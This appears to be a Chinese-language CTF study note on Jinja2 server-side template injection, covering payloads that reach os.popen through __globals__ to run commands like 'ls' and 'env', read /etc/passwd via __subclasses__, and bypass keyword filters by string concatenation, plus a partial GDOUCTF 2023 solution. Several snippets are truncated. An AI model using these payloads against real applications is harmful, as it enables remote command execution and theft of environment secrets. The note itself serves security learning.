Jinja2模板注入是一种安全漏洞,发生在使用Jinja2模板引擎的Web应用程序中。当应用程序将用户输入直接嵌入到模板渲染过程中,且未对输入进行适当的过滤或验证时,攻击者可以注入恶意的模板代码。这些恶意代码可能会被Jinja2引擎执行,从而导致未经授权的操作,例如读取服务器文件、执行系统命令或窃取敏感信息。这种漏洞类似于传统的代码注入攻击,但针对的是模板引擎的语法和功能。
相关函数总结
listdir(“/“)函数列出目录文件
open(“flag”,”r”).read()打开文件并读取
eval将字符串作为代码执行
两个内置函数
get_flashed_messages、url_for
{%print(get_flashed_messages.__globals__.os["pop"+"en"]("ls").read())%} |
小trick
['__xxx__']和.__xxx__其实没有区别,但是['__xxx__']可以通过拼接字符串的方式,绕过对xxx字符的过滤。还有['xxx']和.xxx。- 查看配置文件,作为存储配置信息的变量`config`,这个类中的`__init__`函数全局变量中已经导入了`os`模块,我们可以直接调用。
**_getattribute_()**函数可以拼接两个字符串,可将__init__写成
__getattribute__('__in'+'it__')。{{config.__init__.__globals__.os.popen('env').read()}} {{config.__getattribute__('__in'+'it__').__globals__.os.popen('ls').read()}} {{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("env").read')}} {{b.__getattribute__('__in'+'it__').__globals__.__builtins__['__import__']('os').popen('ls').read()}}
## 对config做了限制
1. 得到object类
> `[].__class__`:这会获取空列表(`[]`)的类,即 `list`。
>
> `__base__`:在Python 3中,这是获取对象的基类(即直接父类)的特殊属性。然而,`list` 的基类是 `object`,因为所有新式类都隐式继承自 `object`。
```jinja2
{{[].__class__.__base__}}
{# 过滤了class可以用下面这个,拼接字符串 #}
{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0]}}
{# 多少个__bases__[0]自己试 #}利用
__subclasses__去访问object类下的所有子类
{{[].__class__.__base__.__subclasses__()}} |
常见可利用的类:**<class ‘os._wrap_close’>,<class ‘warnings.catch_warnings’>,<class ‘site._Printer’>**
- **<type ‘file’>**,对文件操作的类,可以用来读取文件。
{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}} |
- 确定一些类中是否含
os模块、__builtins__模块
{#查看71类下有什么#} |
- 含
os模块,直接利用os中的popen函数
{#利用popen函数查看目录,读取文件#} |
- 不含
os模块,如果含__builtins__模块,利用该模块下的eval函数导入os模块
{#利用 eval函数执行命令#} |
for循环遍历匹配
遍历object类下的所有子类,匹配catch_warnings类
利用open函数读取文件
{% for c in [].__class__.__base__.__subclasses__() %} |
import导入os模块利用
{% for c in [].__class__.__base__.__subclasses__() %} |
过滤器
`````
|capitalize是一个过滤器,会将variable的值通过capitalize方法处理后再输出。capitalize方法会将字符串的首字母大写,其他字母小写。
from jinja2 import Template |
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__subclasses__:返回当前类的子类,也可以通过索引的方式定位一个子类。__init__:类的初始化方法。
|join
|join过滤器,用于将列表中的元素连接成一个字符串。
__dict__:保存类实例或对象实例的属性变量键值对字典__globals__:对包含函数全局变量的字典的引用。__builtin__:
__builtin__&&__builtins__ :python中可以直接运行一些函数,例如int(),list()等等。 这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__) 在py3中__builtin__被换成了builtin 1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。 2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身 |
[GDOUCTF 2023]
过滤了{{}},通过{% %}代替,还过滤了一些危险字符和字符串,我们只能自己设置和拼接了。
设置特殊字符
{% print(lipsum) %} |

{% print(lipsum|string|list) %} |

发现lipsum中缺少了我们需要的/字符,可以通过config设置,前两个字符在config中也能找到。
{% print(config) %} |

{% print(config|string|list) %} |

拼接并设置关键字符串
|join过滤器,用于将列表中的元素连接成一个字符串。
# xhx:_ kg:空格 xg:/ |
拼接payload
#payload原型 |
exp
{%set%0aop=dict(op=1)|join%} |